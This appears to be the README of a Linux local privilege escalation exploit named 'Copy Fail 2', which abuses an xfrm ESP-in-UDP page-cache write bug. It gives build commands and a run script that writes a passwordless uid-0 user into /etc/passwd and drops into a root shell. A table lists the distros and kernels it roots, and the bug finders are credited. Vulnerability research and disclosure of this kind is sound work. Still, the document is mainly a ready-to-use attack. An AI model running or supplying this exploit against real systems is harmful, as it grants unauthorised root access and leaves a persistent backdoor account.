Copy Fail 2: Electric Boogaloo

Unprivileged Linux LPE via xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW fast path. Page-cache write into any readable file. Overwrites a nologin line in /etc/passwd with sick::0:0:...:/:/bin/bash and sus into it. Same class as Copy Fail (CVE-2026-31431), different subsystem.

Bug: https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4

Build

sudo apt install -y libssl-dev gcc
gcc -O2 -Wall copyfail2.c -o copyfail2 -lcrypto
gcc -O2 -Wall aa-rootns.c -o aa-rootns

Run

sh ./run.sh           # install + drop into root shell
sh ./run.sh --clean   # revert /etc/passwd via the same primitive

Adds passwordless uid-0 user sick to /etc/passwd, then exec su - sick. PAM nullok accepts the empty password silently — no input needed. The sick line stays in /etc/passwd — re-run drops straight back into root. State for --clean is stashed at /var/tmp/.cf2.state.

No sudo. esp4 / xfrm_user / xfrm_algo autoload via the userns netlink path.

Tested

distro	kernel	result
Ubuntu 22.04 LTS	5.15.0-176-generic	not vulnerable*
Ubuntu 24.04 LTS	6.8.0-110-generic	root
Debian 13	6.12.74	root
Arch	6.19.11-arch1-1	root
Fedora 43	6.19.14-200.fc43	root
Ubuntu 26.04 LTS	7.0.0-15-generic	root

*MSG_SPLICE_PAGES UDP support was added in 6.5, so 5.15 is below the bug's reach.

Credits

Hyunwoo Kim (imv4bel) and Kuan-Ting Chen reported, tested, authored the upstream fix.

Steffen Klassert: IPsec maintainer, posted the fix to netdev/net.git.

Brad Spengler (@spendergrsec / grsecurity): called it copyfail-class before anyone else read the commit.

Theori / Xint: original Copy Fail (CVE-2026-31431).